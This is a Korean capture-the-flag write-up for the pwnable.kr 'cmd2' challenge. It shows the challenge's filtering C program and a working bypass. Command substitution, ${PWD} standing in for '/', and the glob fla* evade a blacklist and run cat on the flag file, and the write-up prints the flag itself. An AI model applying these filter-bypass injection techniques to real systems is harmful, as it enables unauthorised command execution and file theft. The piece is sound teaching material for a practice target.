이번 문제는 특이하게 커멘드를 입력받아 system 함수로 실행해줍니다.

하지만 모든 환경 변수가 지워지고 PATH 도 이상하게 바뀝니다. 게다가 입력되는 커멘드에서 환경변수와 관련된 문자열도 필터링됩니다.

/*
Daddy bought me a system command shell.
but he put some filters to prevent me from playing with it without his permission...
but I wanna play anytime I want!

ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)

===========================================================

cmd2@ubuntu:~$ checksec cmd2
[*] '/home/cmd2/cmd2'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
*/

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
    int r=0;
    r += strstr(cmd, "=")!=0;
    r += strstr(cmd, "PATH")!=0;
    r += strstr(cmd, "export")!=0;
    r += strstr(cmd, "/")!=0;
    r += strstr(cmd, "`")!=0;
    r += strstr(cmd, "flag")!=0;
    return r;
}

extern char** environ;
void delete_env(){
    char** p;
    for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
    delete_env();
    putenv("PATH=/no_command_execution_until_you_become_a_hacker");
    if(filter(argv[1])) return 0;
    printf("%s\n", argv[1]);
    system( argv[1] );
    return 0;
}

처음엔 여러가지 명령어를 시도해봤는데 PATH 때문에 당연히 먹히지 않았습니다.

그래서 다른 방법을 시도해봤습니다.

쉘에는 특별한 문법이 있습니다. $(CMD) 인데, CMD 부분에 명령어를 넣게 되면 해석되어 실행된 후 반환된 문자열을 쉘 인터프리터에 그대로 전달하게 됩니다.

포너블을 하시는 분들이라면 페이로드를 전달할 때 많이 사용하니 익숙하실겁니다.

andrew@ubuntu:~/fun/writeups/wargame/pwnablekr/cmd2$ $(echo "ls -al" )
total 8
drwxrwxr-x  2 andrew andrew 4096 Apr 14 05:47 .
drwxr-xr-x 15 andrew andrew 4096 Apr 14 05:47 ..

만약 $() 에 환경 변수를 넣게 되면 환경변수의 값이 쉘에 전달됩니다.

andrew@ubuntu:~/fun/writeups/wargame/pwnablekr$ ls -al ${SHELL}
-rwxr-xr-x 1 root root 1037528 Jul 12  2019 /bin/bash

PWD 환경변수는 현재 경로를 나타냅니다. 필터링 되는 문자중엔 슬래시(/) 가 있는데 루트 디렉터리로 이동한 다음 PWD 를 출력하면 / 가 나오니 이 부분은 우회가 가능합니다.

cmd2@pwnable:~$ ./cmd2 set
set
IFS='
'
OPTIND='1'
PATH='/no_command_execution_until_you_become_a_hacker'
PPID='253278'
PS1='$ '
PS2='> '
PS4='+ '
PWD='/home/cmd2'
cmd2@pwnable:~$

현재 PATH 로 인해 cat 명령이 먹히지 않아 flag 파일의 내부를 읽을 수 없는데, 실행 인자에 \${PWD}bin\${PWD}cat 이런식으로 넘겨주면 cat 실행이 가능합니다.

또 flag 문자열도 필터링 되어있는데 이건 fla* 로 간단히 우회가 가능합니다.

cmd2@pwnable:/$ ~/cmd2 "\$(\${PWD}bin\${PWD}cat \${PWD}home\${PWD}cmd2\${PWD}fla*)"
$(${PWD}bin${PWD}cat ${PWD}home${PWD}cmd2${PWD}fla*)
sh: 1: FuN_w1th_5h3ll_v4riabl3s_haha: not found

간단하게 풀렸네요!

지저분하게 역슬래시로 이스케이핑을 한 이유는 현재 쉘이 아닌 cmd2 바이너리의 system() 에서 뜬 내부 쉘에서 실행되어야 하기 때문입니다.

읽어주셔서 감사합니다.